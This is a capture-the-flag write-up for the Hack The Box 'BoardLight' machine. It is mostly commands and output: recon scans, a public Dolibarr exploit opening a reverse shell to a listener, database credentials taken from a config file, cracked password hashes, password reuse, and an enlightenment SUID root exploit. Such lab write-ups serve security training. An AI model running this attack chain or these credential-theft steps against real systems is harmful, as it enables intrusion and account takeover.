Skip to content
HTB • CTF • BoardLight • Write-Up

HTB • CTF • BoardLight • Write-Up

Published: at 11:30 AM

Table of contents

Open Table of contents

INFO

CTF URL:https://app.hackthebox.com/machines/BoardLight

IP: 10.10.11.11

Difficulty: Easy

Reconaisance

NMAP

nmap -p- --min-rate 10000 10.10.11.11 -v
# 22, 80
nmap -p22,80 -sS -sC -sV 10.10.11.11 -v
# res
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesnt have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

WEB

Added 10.10.11.11 board.htb to /etc/hosts

Some Enum:

Dir

dirsearch -u http://<ip>/
# result
[05:02:55] 301 -  303B  - /js  ->  http://board.htb/js/                     
[05:03:07] 403 -  274B  - /.ht_wsr.txt                                      
[05:03:07] 403 -  274B  - /.htaccess.bak1
[05:03:07] 403 -  274B  - /.htaccess.orig                                   
[05:03:07] 403 -  274B  - /.htaccess.save
[05:03:07] 403 -  274B  - /.htaccess_sc
[05:03:07] 403 -  274B  - /.htaccess.sample                                 
[05:03:07] 403 -  274B  - /.htaccess_extra
[05:03:07] 403 -  274B  - /.htaccess_orig                                   
[05:03:07] 403 -  274B  - /.htaccessOLD2
[05:03:07] 403 -  274B  - /.htpasswd_test
[05:03:07] 403 -  274B  - /.htaccessBAK                                     
[05:03:07] 403 -  274B  - /.html
[05:03:07] 403 -  274B  - /.htpasswds                                       
[05:03:07] 403 -  274B  - /.httr-oauth
[05:03:07] 403 -  274B  - /.htaccessOLD                                     
[05:03:07] 403 -  274B  - /.htm                                             
[05:03:14] 403 -  274B  - /.php                                             
[05:03:32] 200 -    2KB - /about.php                                        
[05:04:30] 404 -   16B  - /composer.phar                                    
[05:04:35] 200 -    2KB - /contact.php                                      
[05:04:38] 301 -  304B  - /css  ->  http://board.htb/css/                   
[05:05:03] 403 -  274B  - /images/                                          
[05:05:03] 301 -  307B  - /images  ->  http://board.htb/images/             
[05:05:10] 403 -  274B  - /js/                                              
[05:05:37] 404 -   16B  - /php-cs-fixer.phar                                
[05:05:38] 403 -  274B  - /php5.fcgi                                        
[05:05:43] 404 -   16B  - /phpunit.phar                                     
[05:05:58] 403 -  274B  - /server-status/                                   
[05:05:58] 403 -  274B  - /server-status
dirsearch -w /usr/share/wordlists/dirb/big.txt -u http://board.htb
[05:08:35] 301 -  304B  - /css  ->  http://board.htb/css/                    
[05:08:52] 301 -  307B  - /images  ->  http://board.htb/images/              
[05:08:56] 301 -  303B  - /js  ->  http://board.htb/js/                      
[05:09:23] 403 -  274B  - /server-status       

with nonexistingpage.php it gives another error


dirsearch -w /usr/share/wordlists/dirb/big.txt -u http://board.htb -t 200 --suffixes '.php'
[05:12:14] 403 -  274B  - /.htaccess.php                                    
[05:12:14] 403 -  274B  - /.htpasswd.php                                    
[05:12:20] 200 -    2KB - /about.php                                        
[05:12:33] 200 -    2KB - /contact.php                                      
[05:12:36] 200 -    2KB - /do.php  

Subdomain fuzzing

gobuster vhost -u board.htb -w /usr/share/wordlists/dirb/common.txt --append-domain -k
...
Found: crm.board.htb Status: 200 [Size: 6360]
...

adding crm.board.htb to /etc/hosts

WEB - CRM

git clone https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253.git
cd Exploit-for-Dolibarr-17.0.0-CVE-2023-30253
python3 exploit.py http://crm.board.htb admin admin 10.10.14.43 1234
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.43] from (UNKNOWN) [10.10.11.11] 52108
bash: cannot set terminal process group (891): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ whoami
whoami
www-data

Shell stabilization

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# ctrl+z
stty raw -echo; fg

PrivEsc to User

Enum

A larissa user

ls -la /home
drwxr-x--- 16 larissa larissa 4096 Jul 24 00:20 larissa

Suid:

/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper

none is workable, but enlightenment_sys will used later.

Some open ports: (mysql)

ss -tulpn
Netid  State   Recv-Q  Send-Q   Local Address:Port    Peer Address:Port Process 
udp    UNCONN  0       0        127.0.0.53%lo:53           0.0.0.0:*            
udp    UNCONN  0       0              0.0.0.0:68           0.0.0.0:*            
udp    UNCONN  0       0              0.0.0.0:5353         0.0.0.0:*            
udp    UNCONN  0       0              0.0.0.0:58735        0.0.0.0:*            
udp    UNCONN  0       0                 [::]:5353            [::]:*            
udp    UNCONN  0       0                 [::]:56910           [::]:*            
tcp    LISTEN  0       70           127.0.0.1:33060        0.0.0.0:*            
tcp    LISTEN  0       151          127.0.0.1:3306         0.0.0.0:*            
tcp    LISTEN  0       4096     127.0.0.53%lo:53           0.0.0.0:*            
tcp    LISTEN  0       128            0.0.0.0:22           0.0.0.0:*            
tcp    LISTEN  0       511                  *:80                 *:*  

Some web files

find ./ -name conf*
# ...
./htdocs/conf/conf.php.old
./htdocs/conf/conf.php.example
./htdocs/conf/conf.php
# ...

Mysql Credentials Found

www-data@boardlight:~/html/crm.board.htb$ cat ./htdocs/conf/conf.php | grep -i user -A 2 -B 2
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';

Mysql (not useful)

mysql -h localhost -u dolibarrowner -p
Enter password: # serverfun2$2023!!
# success!
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| dolibarr           |
| information_schema |
| performance_schema |
+--------------------+

mysql> use dolibarr;
mysql> show tables;
...
| llx_user                                                    |
...
mysql> select pass_crypted,lastname,api_key from llx_user;
+--------------------------------------------------------------+------------+--------------+
| pass_crypted                                                 | lastname   | api_key      |
+--------------------------------------------------------------+------------+--------------+
| $2y$10$VevoimSke5Cd1/nX1Ql9Su6RstkTRe7UX1Or.cm8bZo56NjCMJzCm | SuperAdmin | NULL         |
| $2y$10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96 | admin      | yr6V3pXd9QEI |
+--------------------------------------------------------------+------------+--------------+

lets crack them

hashes.txt

$2y$10$VevoimSke5Cd1/nX1Ql9Su6RstkTRe7UX1Or.cm8bZo56NjCMJzCm
$2y$10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Result:

userpass
adminadmin
SuperAdmin-

Could not crack for SuperAdmin

Password reuse

su larissa
# serverfun2$2023!!

reuse of db password worked!

user.txt

cat user.txt 
24e31e7f12f72093ab439a1e6764e4ef

PrivEsc to root

SUID

find / -perm -4000 2>/dev/null
...
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
...
larissa@boardlight:~$ bash exploit.sh 
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# 
# 
# whoami
root

root.txt

cat /root/root.txt
062b930711530626c7a1ee00763f50d5

suid exploit will not work for www-data

www-data@boardlight:/tmp$ bash exploit.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
exploit.sh: line 20: /tmp/exploit: Permission denied
chmod: changing permissions of '/tmp/exploit': Operation not permitted
[+] Enjoy the root shell :)
ERROR: ACTION NOT ALLOWED: /bin/mount

Result